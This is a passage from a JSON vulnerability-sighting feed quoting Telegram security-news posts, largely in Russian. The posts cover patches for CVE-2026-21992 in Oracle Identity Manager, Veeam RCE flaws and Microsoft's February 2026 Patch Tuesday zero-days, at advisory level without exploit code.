"https://t.me/TengkorakCyberCrewzz/9163", "content": "Oracle Patches Critical CVE-2026-21992 Enabling Unauthenticated RCE in Identity Manager \u2013 thehackernews.com\n\nSat, 21 Mar 2026 18:24:00", "creation_timestamp": "2026-03-21T12:03:33.000000Z"}, {"uuid": "2879f6f1-add2-4afe-92fd-df046d5f968f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/ctinow/247524", "content": "Oracle Patches Critical CVE-2026-21992 Enabling Unauthenticated RCE in Identity Manager\nhttps://ift.tt/H5jlpeO", "creation_timestamp": "2026-03-21T11:09:37.000000Z"}, {"uuid": "01cb5770-aead-43e0-b046-e2065e4ec7f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21669", "type": "exploited", "source": "https://t.me/true_secator/7993", "content": "Veeam Software \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 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\u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u043e\u043f\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0438 \u0441\u0431\u043e\u0435\u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0422\u0440\u0438 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-21666, CVE-2026-21667 \u0438 CVE-2026-21669) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 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\u0441\u043b\u0443\u0436\u0438\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0434\u043b\u044f \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439, \u0443\u043f\u0440\u043e\u0449\u0430\u0435\u0442 \u043a\u0440\u0430\u0436\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u0435\u0433\u043a\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0438.\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0432 VBR \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u0430\u043d\u0434\u0430\u043c\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Conti, BlackBasta \u0438 Cuba. \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 2024 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Frag \u0443\u043c\u0435\u043b\u043e \u043f\u0440\u0435\u043f\u0430\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 RCE \u0432 VBR, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u00a0\u0432 \u0430\u0442\u0430\u043a\u0430\u0445 Akira \u0438 Fog,\u00a0\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u0437\u0436\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430.\n\n\u0418 \u043d\u0435 \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0432\u0435\u0434\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u0435\u0439 Veeam \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 550 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 74% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Global 2000 \u0438 82% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 Fortune 500. \u0422\u0430\u043a \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u043d\u043e\u0432\u043e\u0439 \u043f\u0430\u0440\u0442\u0438\u0435\u0439 CVE.", "creation_timestamp": "2026-03-13T16:26:50.000000Z"}, {"uuid": "903785c5-d59a-42df-9dc0-e62ec0efbc52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21525", "type": "seen", "source": "https://t.me/true_secator/7897", "content": "\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e PatchTuesday \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 6 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0438 \u0442\u0440\u0435\u0445 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 0-day: CVE-2026-21510, CVE-2026-21514, CVE-2026-21513, CVE-2026-21519, CVE-2026-21533 \u0438 CVE-2026-21525.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u044f\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 EoP, \u0430 \u0434\u0432\u0435 - \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0412 \u0446\u0435\u043b\u043e\u043c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: 25 - EoP, 5 - \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 12 - RCE, 6 - \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 3 - DoS \u0438 7 - \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, 3 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 Microsoft Edge, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b Secure Boot,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0442 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442 2011 \u0433\u043e\u0434\u0430, \u0441\u0440\u043e\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a\u0430\u0435\u0442 \u0432 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows 10.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0443\u043b\u0435\u0439 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043a\u0443\u0447\u043d\u043e:\n\n- CVE-2026-21510: \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u0430 \u044f\u0440\u043b\u044b\u043a\u0430. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 Mark of the Web.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0443\u044e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows Shell, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f Microsoft MSTIC \u0438 MSRC, \u0433\u0440\u0443\u043f\u043f\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Office, Google \u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \n CVE-2026-21513 \u0438 CVE-2026-21514.\n\n- CVE-2026-21513: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Internet Explorer \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 HTML- \u0438\u043b\u0438 LNK-\u0444\u0430\u0439\u043b\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u0441\u0431\u043e\u0435\u043c \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0437\u0430\u0449\u0438\u0442\u044b MSHTML Framework, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438. \u0414\u0430\u043d\u043d\u044b\u0435 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n- CVE-2026-21514: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b OLE.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b Office \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0435\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0435\u0433\u043e.\n\nMicrosoft \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 Office. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e CVE-2026-21510, CVE-2026-21513 \u0438 CVE-2026-21514 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.\n\n- CVE-2026-21519: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0431\u044b\u043b\u0430 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0430, \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\nMicrosoft \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u0442\u043e, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043c Microsoft MSTIC \u0438 MSRC.\n\n- CVE-2026-21525: DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows.\n\n\u0420\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0435.\n\nMicrosoft \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 ACROS, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441 0patch.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u044b\u0441\u043a\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f CVE-2025-59230, \u043d\u043e \u043e\u043d \u043d\u0435 \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435\u00bb.\n\n- CVE-2026-21533: EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 Windows Remote Desktop \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f CrowdStrike.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CrowdStrike, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2026-21533 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043b\u044e\u0447 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u043b\u0443\u0436\u0431\u044b, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u0435\u0433\u043e \u043a\u043b\u044e\u0447\u043e\u043c, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 \u0430\u0434\u043c\u0438\u043d\u043e\u0432.\n\nCrowdStrike \u043d\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c, \u043d\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438  \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u0441\u043a\u043e\u0440\u044f\u0442 \u0441\u0432\u043e\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 